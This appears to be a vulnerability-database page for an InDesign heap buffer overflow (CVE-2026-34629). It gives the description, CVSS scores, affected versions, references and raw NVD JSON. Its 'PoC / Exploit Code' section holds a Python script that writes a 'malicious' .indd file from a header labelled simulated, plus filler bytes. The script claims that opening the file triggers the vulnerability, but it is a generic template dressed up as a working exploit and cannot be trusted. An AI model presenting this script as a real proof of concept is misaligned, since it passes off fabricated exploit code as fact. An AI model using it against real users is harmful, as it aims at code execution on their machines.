CVE-2026-34629

Description

InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:* - VULNERABLE

Adobe InDesign Desktop <= 20.5.2

Adobe InDesign Desktop <= 21.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import struct

# PoC for CVE-2026-34629 Heap-based Buffer Overflow
# This script generates a malicious file to trigger the crash.

def create_malicious_file(filename):
    # Header for a generic InDesign compatible format (simulated)
    header = b"INDD_MAGIC_HEADER"
    
    # Padding to reach the vulnerable buffer offset
    padding = b"A" * 100
    
    # Payload to overwrite the heap metadata or return address
    # Adjust size based on the specific vulnerability offset
    overflow_payload = b"B" * 500 
    
    # Construct the file content
    file_content = header + padding + overflow_payload
    
    with open(filename, "wb") as f:
        f.write(file_content)
    
    print(f"[+] Malicious file '{filename}' generated successfully.")
    print("[+] Open this file with the vulnerable Adobe InDesign version to trigger the vulnerability.")

if __name__ == "__main__":
    create_malicious_file("exploit.indd")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-34629
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-34629
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-34629/
[4] VulDB https://vuldb.com/cve/CVE-2026-34629
[5] https://helpx.adobe.com/security/products/indesign/apsb26-32.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-34629", "sourceIdentifier": "[email protected]", "published": "2026-04-14T18:17:37.230", "lastModified": "2026-04-16T21:21:46.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InDesign Desktop versions 20.5.2, 21.2 and earlier are affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.5.3", "matchCriteriaId": "5644C156-EB3C-4F24-A9E8-ABB5EA61F2A9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:indesign:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.0", "versionEndExcluding": "21.3", "matchCriteriaId": "C6F7C5A5-F818-4184-81C3-35282D05CBEA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/indesign/apsb26-32.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}